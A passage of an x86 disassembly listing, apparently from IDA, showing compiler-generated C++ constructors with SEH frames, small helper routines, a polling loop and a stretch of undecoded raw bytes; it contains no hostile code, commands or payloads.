		lea	ecx, [esi+4]
		mov	[esp+14h+var_4], 0FFFFFFFFh
		call	sub_401023
		mov	ecx, [esp+14h+var_C]
		pop	esi
		mov	large fs:0, ecx
		add	esp, 10h
		retn
sub_417A60	endp

; ---------------------------------------------------------------------------
		db 6 dup(90h)
		db 20h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_417AE0	proc near		; CODE XREF: sub_401DEDj
		add	ecx, 4
		jmp	sub_401023
sub_417AE0	endp

; ---------------------------------------------------------------------------
		db 8 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_417B00	proc near		; CODE XREF: sub_401FF5j
		add	ecx, 4
		jmp	sub_401023
sub_417B00	endp

; ---------------------------------------------------------------------------
		db 8 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_417B20	proc near		; CODE XREF: sub_401EE2j

var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_4		= dword	ptr -4

		push	0FFFFFFFFh
		push	offset SEH_417B20
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		push	ecx
		push	esi
		mov	esi, ecx
		mov	[esp+14h+var_10], esi
		lea	ecx, [esi+0BCh]
		mov	[esp+14h+var_4], 3
		call	sub_401023
		lea	ecx, [esi+8Eh]
		mov	byte ptr [esp+14h+var_4], 2
		call	sub_401023
		lea	ecx, [esi+60h]
		mov	byte ptr [esp+14h+var_4], 1
		call	sub_401023
		lea	ecx, [esi+32h]
		mov	byte ptr [esp+14h+var_4], 0
		call	sub_401023
		lea	ecx, [esi+4]
		mov	[esp+14h+var_4], 0FFFFFFFFh
		call	sub_401023
		mov	ecx, [esp+14h+var_C]
		pop	esi
		mov	large fs:0, ecx
		add	esp, 10h
		retn
sub_417B20	endp

; ---------------------------------------------------------------------------
		db 6 dup(90h)
		db 20h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_417BC0	proc near		; CODE XREF: sub_40157Dj

var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_4		= dword	ptr -4

		push	0FFFFFFFFh
		push	offset SEH_417BC0
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		push	ecx
		push	esi
		mov	esi, ecx
		mov	[esp+14h+var_10], esi
		call	sub_4011B3
		lea	ecx, [esi+4]
		call	sub_401424
		lea	ecx, [esi+19h]
		mov	[esp+14h+var_4], 0
		call	sub_401749
		lea	ecx, [esi+47h]
		mov	byte ptr [esp+14h+var_4], 1
		call	sub_401749
		lea	ecx, [esi+75h]
		mov	byte ptr [esp+14h+var_4], 2
		call	sub_401749
		lea	ecx, [esi+0A3h]
		mov	byte ptr [esp+14h+var_4], 3
		call	sub_401749
		mov	ecx, [esp+14h+var_C]
		mov	dword ptr [esi], offset	off_43E078
		mov	eax, esi
		pop	esi
		mov	large fs:0, ecx
		add	esp, 10h
		retn
sub_417BC0	endp

; ---------------------------------------------------------------------------
		db 4 dup(90h)
		db 20h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_417C60	proc near		; CODE XREF: sub_401645j

var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_4		= dword	ptr -4

		push	0FFFFFFFFh
		push	offset SEH_417C60
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		push	ecx
		push	esi
		mov	esi, ecx
		mov	[esp+14h+var_10], esi
		call	sub_4011B3
		lea	ecx, [esi+4]
		call	sub_401749
		lea	ecx, [esi+32h]
		mov	[esp+14h+var_4], 0
		call	sub_401749
		lea	ecx, [esi+60h]
		mov	byte ptr [esp+14h+var_4], 1
		call	sub_401749
		lea	ecx, [esi+8Eh]
		mov	byte ptr [esp+14h+var_4], 2
		call	sub_401749
		lea	ecx, [esi+0BCh]
		mov	byte ptr [esp+14h+var_4], 3
		call	sub_401749
		lea	ecx, [esi+0EAh]
		mov	byte ptr [esp+14h+var_4], 4
		call	sub_401749
		lea	ecx, [esi+118h]
		mov	byte ptr [esp+14h+var_4], 5
		call	sub_401749
		mov	ecx, [esp+14h+var_C]
		mov	dword ptr [esi], offset	off_43E07C
		mov	eax, esi
		pop	esi
		mov	large fs:0, ecx
		add	esp, 10h
		retn
sub_417C60	endp

; ---------------------------------------------------------------------------
		db 90h
		db 30h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_417D30	proc near		; CODE XREF: sub_401776j

var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_4		= dword	ptr -4

		push	0FFFFFFFFh
		push	offset SEH_417D30
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		push	ecx
		push	esi
		mov	esi, ecx
		mov	[esp+14h+var_10], esi
		call	sub_4011B3
		lea	ecx, [esi+8D008h]
		call	sub_401749
		lea	ecx, [esi+8D036h]
		mov	[esp+14h+var_4], 0
		call	sub_401749
		lea	ecx, [esi+8D064h]
		mov	byte ptr [esp+14h+var_4], 1
		call	sub_401749
		lea	ecx, [esi+8D092h]
		mov	byte ptr [esp+14h+var_4], 2
		call	sub_401749
		lea	ecx, [esi+8D0C0h]
		mov	byte ptr [esp+14h+var_4], 3
		call	sub_401749
		mov	ecx, [esp+14h+var_C]
		mov	dword ptr [esi], offset	off_43E080
		mov	eax, esi
		pop	esi
		mov	large fs:0, ecx
		add	esp, 10h
		retn
sub_417D30	endp

; ---------------------------------------------------------------------------
		db 8 dup(90h)
		db 30h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_417DF0	proc near		; CODE XREF: sub_401820j
		push	esi
		mov	esi, ecx
		call	sub_401E6A
		mov	dword ptr [esi], offset	off_43E050
		mov	eax, esi
		pop	esi
		retn
sub_417DF0	endp

; ---------------------------------------------------------------------------
		db 0Eh dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_417E20	proc near		; CODE XREF: sub_4016B3j
		push	esi
		mov	esi, ecx
		call	sub_401E6A
		mov	dword ptr [esi], offset	off_43E05C
		mov	eax, esi
		pop	esi
		retn
sub_417E20	endp

; ---------------------------------------------------------------------------
		db 0Eh dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_417E50	proc near		; CODE XREF: sub_401415j

var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_4		= dword	ptr -4

		push	0FFFFFFFFh
		push	offset SEH_417E50
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		push	ecx
		push	esi
		mov	esi, ecx
		mov	[esp+14h+var_10], esi
		call	sub_4011B3
		lea	ecx, [esi+4]
		call	sub_401749
		lea	ecx, [esi+32h]
		mov	[esp+14h+var_4], 0
		call	sub_401749
		lea	ecx, [esi+60h]
		mov	byte ptr [esp+14h+var_4], 1
		call	sub_401749
		lea	ecx, [esi+8Eh]
		mov	byte ptr [esp+14h+var_4], 2
		call	sub_401749
		lea	ecx, [esi+0BCh]
		mov	byte ptr [esp+14h+var_4], 3
		call	sub_401749
		lea	ecx, [esi+0EAh]
		mov	byte ptr [esp+14h+var_4], 4
		call	sub_401749
		mov	ecx, [esp+14h+var_C]
		mov	dword ptr [esi], offset	off_43E084
		mov	eax, esi
		pop	esi
		mov	large fs:0, ecx
		add	esp, 10h
		retn
sub_417E50	endp

; ---------------------------------------------------------------------------
		db 90h
		db 30h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_417F10	proc near		; CODE XREF: sub_401302j

var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_4		= dword	ptr -4

		push	0FFFFFFFFh
		push	offset SEH_417F10
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		push	ecx
		push	esi
		mov	esi, ecx
		mov	[esp+14h+var_10], esi
		call	sub_4011B3
		lea	ecx, [esi+4]
		call	sub_401749
		lea	ecx, [esi+32h]
		mov	[esp+14h+var_4], 0
		call	sub_401749
		lea	ecx, [esi+60h]
		mov	byte ptr [esp+14h+var_4], 1
		call	sub_401749
		lea	ecx, [esi+8Eh]
		mov	byte ptr [esp+14h+var_4], 2
		call	sub_401749
		lea	ecx, [esi+0BCh]
		mov	byte ptr [esp+14h+var_4], 3
		call	sub_401749
		lea	ecx, [esi+0EAh]
		mov	byte ptr [esp+14h+var_4], 4
		call	sub_401749
		mov	ecx, [esp+14h+var_C]
		mov	dword ptr [esi], offset	off_43E088
		mov	eax, esi
		pop	esi
		mov	large fs:0, ecx
		add	esp, 10h
		retn
sub_417F10	endp

; ---------------------------------------------------------------------------
		db 90h
		db 30h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_417FD0	proc near		; CODE XREF: sub_401271j

var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_4		= dword	ptr -4

		push	0FFFFFFFFh
		push	offset SEH_417FD0
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		push	ecx
		push	esi
		mov	esi, ecx
		mov	[esp+14h+var_10], esi
		call	sub_4011B3
		lea	ecx, [esi+4]
		call	sub_401749
		lea	ecx, [esi+32h]
		mov	[esp+14h+var_4], 0
		call	sub_401749
		mov	ecx, [esp+14h+var_C]
		mov	dword ptr [esi], offset	off_43E08C
		mov	eax, esi
		pop	esi
		mov	large fs:0, ecx
		add	esp, 10h
		retn
sub_417FD0	endp

; ---------------------------------------------------------------------------
		db 0Eh dup(90h)
		db 20h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_418050	proc near		; CODE XREF: sub_401D11j
		push	esi
		mov	esi, ecx
		call	sub_4011B3
		mov	dword ptr [esi], offset	nullsub_10
		mov	eax, esi
		pop	esi
		retn
sub_418050	endp

; ---------------------------------------------------------------------------
		db 0Eh dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_418080	proc near		; CODE XREF: sub_4012FDj

var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_4		= dword	ptr -4

		push	0FFFFFFFFh
		push	offset SEH_418080
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		push	ecx
		push	esi
		mov	esi, ecx
		mov	[esp+14h+var_10], esi
		call	sub_4011B3
		lea	ecx, [esi+4]
		call	sub_401749
		lea	ecx, [esi+32h]
		mov	[esp+14h+var_4], 0
		call	sub_401749
		mov	ecx, [esp+14h+var_C]
		mov	dword ptr [esi], offset	off_43E094
		mov	eax, esi
		pop	esi
		mov	large fs:0, ecx
		add	esp, 10h
		retn
sub_418080	endp

; ---------------------------------------------------------------------------
		db 0Eh dup(90h)
		db 20h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_418100	proc near		; CODE XREF: sub_401A7Dj

var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_4		= dword	ptr -4

		push	0FFFFFFFFh
		push	offset SEH_418100
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		push	ecx
		push	esi
		mov	esi, ecx
		mov	[esp+14h+var_10], esi
		call	sub_4011B3
		lea	ecx, [esi+4]
		call	sub_401749
		lea	ecx, [esi+32h]
		mov	[esp+14h+var_4], 0
		call	sub_401749
		mov	ecx, [esp+14h+var_C]
		mov	dword ptr [esi], offset	off_43E098
		mov	eax, esi
		pop	esi
		mov	large fs:0, ecx
		add	esp, 10h
		retn
sub_418100	endp

; ---------------------------------------------------------------------------
		db 0Eh dup(90h)
		db 20h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_418180	proc near		; CODE XREF: sub_401285j
		push	esi
		mov	esi, ecx
		call	sub_4011B3
		lea	ecx, [esi+4]
		call	sub_401749
		mov	dword ptr [esi], offset	off_43E09C
		mov	eax, esi
		pop	esi
		retn
sub_418180	endp

; ---------------------------------------------------------------------------
		db 6 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_4181B0	proc near		; CODE XREF: sub_401CA3j

var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_4		= dword	ptr -4

		push	0FFFFFFFFh
		push	offset SEH_4181B0
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		push	ecx
		push	esi
		mov	esi, ecx
		mov	[esp+14h+var_10], esi
		call	sub_4011B3
		lea	ecx, [esi+4]
		call	sub_401749
		lea	ecx, [esi+32h]
		mov	[esp+14h+var_4], 0
		call	sub_401749
		lea	ecx, [esi+60h]
		mov	byte ptr [esp+14h+var_4], 1
		call	sub_401749
		mov	ecx, [esp+14h+var_C]
		mov	dword ptr [esi], offset	off_43E0A0
		mov	eax, esi
		pop	esi
		mov	large fs:0, ecx
		add	esp, 10h
		retn
sub_4181B0	endp

; ---------------------------------------------------------------------------
		db 90h
		db 20h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_418230	proc near		; CODE XREF: sub_401573j
		push	esi
		mov	esi, ecx
		call	sub_4011B3
		lea	ecx, [esi+4]
		call	sub_401749
		mov	dword ptr [esi], offset	off_43E0A4
		mov	eax, esi
		pop	esi
		retn
sub_418230	endp

; ---------------------------------------------------------------------------
		db 6 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_418260	proc near		; CODE XREF: sub_40178Fj
		push	esi
		mov	esi, ecx
		call	sub_4011B3
		lea	ecx, [esi+4]
		call	sub_401749
		mov	dword ptr [esi], offset	off_43E0A8
		mov	eax, esi
		pop	esi
		retn
sub_418260	endp

; ---------------------------------------------------------------------------
		db 6 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_418290	proc near		; CODE XREF: sub_401073j

var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_4		= dword	ptr -4

		push	0FFFFFFFFh
		push	offset SEH_418290
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		push	ecx
		push	esi
		mov	esi, ecx
		mov	[esp+14h+var_10], esi
		call	sub_4011B3
		lea	ecx, [esi+4]
		call	sub_401749
		lea	ecx, [esi+32h]
		mov	[esp+14h+var_4], 0
		call	sub_401749
		lea	ecx, [esi+60h]
		mov	byte ptr [esp+14h+var_4], 1
		call	sub_401749
		lea	ecx, [esi+8Eh]
		mov	byte ptr [esp+14h+var_4], 2
		call	sub_401749
		lea	ecx, [esi+0BCh]
		mov	byte ptr [esp+14h+var_4], 3
		call	sub_401749
		mov	ecx, [esp+14h+var_C]
		mov	dword ptr [esi], offset	off_43E0AC
		mov	eax, esi
		pop	esi
		mov	large fs:0, ecx
		add	esp, 10h
		retn
sub_418290	endp

; ---------------------------------------------------------------------------
		db 90h
		db 20h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_418330	proc near		; CODE XREF: sub_401267j

var_C		= dword	ptr -0Ch
var_8		= byte ptr -8
var_4		= byte ptr -4

		sub	esp, 0Ch
		push	ebx
		push	ebp
		mov	ebp, dword_50F8D0
		push	esi
		mov	esi, ecx
		push	edi
		xor	bl, bl
		mov	byte ptr [esi+9FD2Ch], 1


loc_418348:				; CODE XREF: sub_418330+E4j
		test	bl, bl
		jnz	loc_41841E
		mov	al, [esi+8EF74h]
		test	al, al
		jnz	short loc_41835E
		mov	bl, 1
		jmp	short loc_418372
; ---------------------------------------------------------------------------


loc_41835E:				; CODE XREF: sub_418330+28j
		lea	ecx, [esi+15Fh]
		call	sub_40185C
		test	al, al
		setz	bl
		test	bl, bl
		jz	short loc_418379


loc_418372:				; CODE XREF: sub_418330+2Cj
		mov	byte ptr [esi+9FD2Ch], 0


loc_418379:				; CODE XREF: sub_418330+40j
		lea	ecx, [esp+1Ch+var_C]
		call	sub_402086
		lea	edi, [esi+9FD83h]
		lea	eax, [esp+1Ch+var_4]
		push	eax
		mov	ecx, edi
		call	sub_401F4B
		mov	ecx, [eax]
		lea	edx, [esp+1Ch+var_8]
		mov	[esp+1Ch+var_C], ecx
		push	edx
		mov	ecx, edi
		call	sub_401311
		push	eax
		lea	ecx, [esp+20h+var_C]
		call	sub_4016F9
		test	al, al
		jz	short loc_4183FE


loc_4183B4:				; CODE XREF: sub_418330+CCj
		lea	ecx, [esp+1Ch+var_C]
		call	sub_402211
		mov	ecx, [eax]
		call	sub_401744
		lea	ecx, [esp+1Ch+var_C]
		call	sub_402211
		mov	eax, [eax]
		test	eax, eax
		jz	short loc_4183DB
		mov	edx, [eax]
		push	1
		mov	ecx, eax
		call	dword ptr [edx]


loc_4183DB:				; CODE XREF: sub_418330+A1j
		lea	ecx, [esp+1Ch+var_C]
		call	sub_401361
		lea	eax, [esp+1Ch+var_8]
		mov	ecx, edi
		push	eax
		call	sub_401311
		push	eax
		lea	ecx, [esp+20h+var_C]
		call	sub_4016F9
		test	al, al
		jnz	short loc_4183B4


loc_4183FE:				; CODE XREF: sub_418330+82j
		mov	ecx, edi
		call	sub_4010B9
		push	0FAh
		call	ebp
		mov	al, [esi+9FD2Ch]
		test	al, al
		jnz	loc_418348
		test	bl, bl
		jz	short loc_41842B


loc_41841E:				; CODE XREF: sub_418330+1Aj
		pop	edi
		pop	esi
		pop	ebp
		mov	eax, 1
		pop	ebx
		add	esp, 0Ch
		retn
; ---------------------------------------------------------------------------


loc_41842B:				; CODE XREF: sub_418330+ECj
		pop	edi
		pop	esi
		pop	ebp
		xor	eax, eax
		pop	ebx
		add	esp, 0Ch
		retn
sub_418330	endp

; ---------------------------------------------------------------------------
		db 0Bh dup(90h)
		db 50h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


sub_418490	proc near		; CODE XREF: sub_401767j

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		mov	eax, large fs:0
		push	0FFFFFFFFh
		push	offset SEH_418490
		push	eax
		mov	large fs:0, esp
		sub	esp, 1A8h
		push	ebx
		push	ebp
		push	esi
		mov	esi, ecx
		push	edi
		mov	ecx, offset byte_4E6ECB
		mov	byte ptr [esi+9FD2Ch], 1
		call	sub_4010B9
		mov	eax, [esp+1C4h+arg_4]
		test	eax, eax
		jz	short loc_4184D0
		push	eax
		jmp	short loc_4184D5
; ---------------------------------------------------------------------------


loc_4184D0:				; CODE XREF: sub_418490+3Bj
		push	offset byte_446F60


loc_4184D5:				; CODE XREF: sub_418490+3Ej
		lea	ecx, [esi+9FD57h]
		call	sub_4015D7
		mov	edi, [esp+1C4h+arg_0]
		test	edi, edi
		jz	short loc_4184EE
		push	edi
		jmp	short loc_4184F3
; ---------------------------------------------------------------------------


loc_4184EE:				; CODE XREF: sub_418490+59j
		push	offset byte_446F60


loc_4184F3:				; CODE XREF: sub_418490+5Cj
		lea	ecx, [esi+9FD6Ch]
		call	sub_4015D7
		push	edi
		lea	ecx, [esi+3Eh]
		call	sub_401384
sub_418490	endp

; ---------------------------------------------------------------------------
		db 8Ah
		dd 0C0844246h, 468B0F74h, 528E8D43h, 50000001h,	0FE945CE8h
		dd 244C8DFFh, 2685128h,	0E8000002h, 7169E121h, 8F88E890h
		dd 8E8DFFFEh, 1BBEh, 0FE92B1E8h, 468E8DFFh, 0E800001Bh
		dd 0FFFE94AEh, 15FBE8Dh, 0CF8B0000h, 0FE97DFE8h, 0D01D8BFFh
		dd 680050F8h, 3E8h, 0CF8BD3FFh,	0FE8CB3E8h, 3E868FFh, 0D3FF0000h
		dd 8448468Ah, 8A0A75C0h, 7C786h, 74C08400h, 318E8D0Bh
		dd 0E80009FCh, 0FFFE8E48h, 3E868h, 8DD3FF00h, 3F99Eh, 58BE8D00h
		dd 5300001Ch, 0B2E8CF8Bh, 8BFFFE95h, 8BE7E8CFh,	868AFFFEh
		dd 77Eh, 0F74C084h, 71C968Dh, 52530000h, 5FE8CF8Bh, 8AFFFE91h
		dd 7C786h, 74C08400h, 0F7AE8D1Dh, 8B000007h, 0D5E855CFh
		dd 84FFFE99h, 530B75C0h, 0E8CF8B55h, 0FFFE8EABh, 0AE8D0EEBh
		dd 7F7h, 0E855CF8Bh, 0FFFE9346h, 7C7868Ah, 0C0840000h
		dd 468A1B74h, 75C08448h, 0CF8B5514h, 0FE99C7E8h, 74C084FFh
		dd 0E8006A08h, 7782185Eh, 98C6E890h, 8E8DFFFEh,	168h, 0FE91B3E8h
		dd 448D50FFh, 0E8501424h, 0FFFE99E6h, 5008C483h, 0FD2D8E8Dh
		dd 84C70009h, 1C424h, 0
		dd 99B8E800h, 4C8DFFFEh, 84C71024h, 1C024h, 0FFFFFF00h
		dd 8BBCE8FFh, 9E8DFFFEh, 8EF5Dh, 5DE8CB8Bh, 8DFFFE8Dh
		dd 8F2478Eh, 8D52E800h,	8E8DFFFEh, 1D29h, 0FE96F2E8h, 6F8E8DFFh
		dd 0E800001Eh, 0FFFE9449h, 0F2858E8Dh, 66E80008h, 8DFFFE8Fh
		dd 9FA138Eh, 9046E800h,	8E8DFFFEh, 8F3A2h, 0FE9B26E8h
		dd 738E8DFFh, 0E80009FAh, 0FFFE9783h, 3FE8CB8Bh, 8DFFFE93h
		dd 9FC428Eh, 9889E800h,	0CF8BFFFEh, 0FE896EE8h,	0BF8E8DFFh
		dd 0E80008F4h, 0FFFE9525h, 0FB058E8Dh, 9DE80009h, 8DFFFE94h
		dd 9FAD38Eh, 9802E800h,	8E8DFFFEh, 9FB93h, 0FE925CE8h
		dd 0CD8E8DFFh, 0E80009FBh, 0FFFE9931h, 0FBFF8E8Dh, 0C6E80009h
		dd 8BFFFE94h, 8B41E8CEh, 8E8DFFFEh, 8F270h, 11E8F88Bh
		dd 8BFFFE90h, 900AE8CBh, 0D9E8FFFEh, 90FFFE93h,	69BCE3E8h
		dd 42468A71h, 0B74C084h, 1528E8Dh, 83E80000h, 8BFFFE95h
		dd 1B8248Ch, 0C78B0000h, 5B5D5E5Fh, 0D8964h, 81000000h
		dd 1B4C4h, 8C200h, 3 dup(90909090h), 30h dup(0CCCCCCCCh)
; ---------------------------------------------------------------------------

locret_418840:				; CODE XREF: ___:00402202j
		retn
; ---------------------------------------------------------------------------
		db 0Fh dup(90h)
		db 10h dup(0CCh)
; ---------------------------------------------------------------------------


loc_418860:				; CODE XREF: ___:00401EC4j
		mov	eax, [esp+0Ch]
		push	0
		push	eax
		mov	ecx, offset dword_447148
		call	sub_401767
; ---------------------------------------------------------------------------
		retn	10h
; ---------------------------------------------------------------------------
		db 0Ch dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


sub_418890	proc near		; CODE XREF: sub_401B09j

var_C		= byte ptr -0Ch
var_8		= byte ptr -8
var_4		= byte ptr -4

		sub	esp, 0Ch
		lea	eax, [esp+0Ch+var_C]
		push	esi
		mov	esi, ecx
		push	eax
		call	sub_4021BC
		mov	ecx, [eax]
		lea	edx, [esp+10h+var_8]
		push	ecx
		push	edx
		mov	ecx, esi
		call	sub_401622
		mov	eax, [eax]
		lea	ecx, [esp+14h+var_4]
		push	eax
		push	ecx
		mov	ecx, esi
		call	sub_40142E
		mov	edx, [esi+4]
		mov	ecx, esi
		push	edx
		call	sub_4020E5
sub_418890	endp

; ---------------------------------------------------------------------------
		xor	eax, eax
		mov	[esi+4], eax
		mov	[esi+8], eax
		pop	esi
		add	esp, 0Ch
		retn
; ---------------------------------------------------------------------------
		db 0Ah dup(90h)
		db 20h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


sub_418900	proc near		; CODE XREF: sub_401AFAj

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		push	esi
		mov	esi, ecx
		push	0
		mov	cl, [eax]
		push	0
		mov	[esi], cl
		mov	ecx, esi
		call	sub_40139D
sub_418900	endp

; ---------------------------------------------------------------------------
		mov	[esi+4], eax
		mov	dword ptr [esi+8], 0
		mov	eax, esi
		pop	esi
		retn	4
; ---------------------------------------------------------------------------
		db 0Ah dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


sub_418940	proc near		; CODE XREF: sub_4021DAj

var_C		= byte ptr -0Ch
var_8		= byte ptr -8
var_4		= byte ptr -4

		sub	esp, 0Ch
		lea	eax, [esp+0Ch+var_C]
		push	esi
		mov	esi, ecx
		push	eax
		call	sub_401311
		mov	ecx, [eax]
		lea	edx, [esp+10h+var_8]
		push	ecx
		push	edx
		mov	ecx, esi
		call	sub_401F4B
		mov	eax, [eax]
		lea	ecx, [esp+14h+var_4]
		push	eax
		push	ecx
		mov	ecx, esi
		call	sub_401550
		mov	edx, [esi+4]
		mov	ecx, esi
		push	edx
		call	sub_40205E
sub_418940	endp

; ---------------------------------------------------------------------------
		xor	eax, eax
		mov	[esi+4], eax
		mov	[esi+8], eax
		pop	esi
		add	esp, 0Ch
		retn
; ---------------------------------------------------------------------------
		db 0Ah dup(90h)
		db 20h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_4189B0	proc near		; CODE XREF: sub_401F4Bj

arg_0		= dword	ptr  4

		mov	eax, [ecx+4]
		push	esi
		push	eax
		call	sub_4015D2
		mov	ecx, [eax]
		mov	esi, [esp+8+arg_0]
		add	esp, 4
		push	ecx
		mov	ecx, esi
		call	sub_401D84
		mov	eax, esi
		pop	esi
		retn	4
sub_4189B0	endp

; ---------------------------------------------------------------------------
		db 0Fh dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_4189F0	proc near		; CODE XREF: sub_401311j

arg_0		= dword	ptr  4

		mov	eax, [ecx+4]
		push	esi
		mov	esi, [esp+4+arg_0]
		push	eax
		mov	ecx, esi
		call	sub_401D84
		mov	eax, esi
		pop	esi
		retn	4
sub_4189F0	endp

; ---------------------------------------------------------------------------
		db 0Ah dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_418A20	proc near		; CODE XREF: sub_4010B9j

var_C		= byte ptr -0Ch
var_8		= byte ptr -8
var_4		= byte ptr -4

		sub	esp, 0Ch
		lea	eax, [esp+0Ch+var_C]
		push	esi
		mov	esi, ecx
		push	eax
		call	sub_401311
		mov	ecx, [eax]
		lea	edx, [esp+10h+var_8]
		push	ecx
		push	edx
		mov	ecx, esi
		call	sub_401F4B
		mov	eax, [eax]
		lea	ecx, [esp+14h+var_4]
		push	eax
		push	ecx
		mov	ecx, esi
		call	sub_401550
		pop	esi
		add	esp, 0Ch
		retn
sub_418A20	endp

; ---------------------------------------------------------------------------
		db 0Dh dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_418A70	proc near		; CODE XREF: sub_402086j
		push	esi
		mov	esi, ecx
		call	sub_401528
		mov	eax, esi
		pop	esi
		retn
sub_418A70	endp

; ---------------------------------------------------------------------------
		db 4 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_418A90	proc near		; CODE XREF: sub_402211j
		mov	eax, [ecx]
		push	eax
		call	sub_401172
		add	esp, 4
		retn
sub_418A90	endp

; ---------------------------------------------------------------------------
		db 4 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_418AB0	proc near		; CODE XREF: sub_401361j
		push	esi
		mov	esi, ecx
		mov	eax, [esi]
		push	eax
		call	sub_4015D2
		mov	ecx, [eax]
		add	esp, 4
		mov	[esi], ecx
		mov	eax, esi
		pop	esi
		retn
sub_418AB0	endp

; ---------------------------------------------------------------------------
		db 0Ah dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_418AE0	proc near		; CODE XREF: sub_4016F9j

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		push	eax
		call	sub_40221B
		neg	al
		sbb	eax, eax
		inc	eax
		retn	4
sub_418AE0	endp

; ---------------------------------------------------------------------------
		db 0Eh dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_418B10	proc near		; CODE XREF: sub_40142Ej

var_8		= byte ptr -8
var_4		= byte ptr -4
arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= byte ptr  0Ch

		sub	esp, 8
		lea	eax, [esp+8+arg_8]
		push	esi
		mov	esi, ecx
		push	eax
		lea	ecx, [esp+10h+arg_4]
		call	sub_40183E
		test	al, al
		jz	short loc_418B6A


loc_418B28:				; CODE XREF: sub_418B10+47j
		lea	ecx, [esp+0Ch+var_8]
		push	0
		push	ecx
		lea	ecx, [esp+14h+arg_4]
		call	sub_40116D
		mov	edx, [eax]
		lea	eax, [esp+0Ch+var_4]
		push	edx
		push	eax
		mov	ecx, esi
		call	sub_40123F
; ---------------------------------------------------------------------------
		lea	ecx, [esp+0Ch+arg_8]
		push	ecx
		lea	ecx, [esp+10h+arg_4]
		call	sub_40183E
		test	al, al
		jnz	short loc_418B28
		mov	eax, [esp+0Ch+arg_0]
		mov	edx, [esp+0Ch+arg_4]
		pop	esi
		mov	[eax], edx
		add	esp, 8
		retn	0Ch
; ---------------------------------------------------------------------------


loc_418B6A:				; CODE XREF: sub_418B10+16j
		mov	eax, [esp+0Ch+arg_0]
		mov	ecx, [esp+0Ch+arg_4]
		pop	esi
		mov	[eax], ecx
		add	esp, 8
		retn	0Ch
sub_418B10	endp

; ---------------------------------------------------------------------------
		db 5 dup(90h)
		db 20h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


sub_418BA0	proc near		; CODE XREF: sub_4020E5j

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		push	1
		push	eax
		call	sub_401D57
sub_418BA0	endp

; ---------------------------------------------------------------------------
		retn	4
; ---------------------------------------------------------------------------
		db 90h
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_418BC0	proc near		; CODE XREF: sub_401550j

var_8		= byte ptr -8
var_4		= byte ptr -4
arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= byte ptr  0Ch

		sub	esp, 8
		lea	eax, [esp+8+arg_8]
		push	esi
		mov	esi, ecx
		push	eax
		lea	ecx, [esp+10h+arg_4]
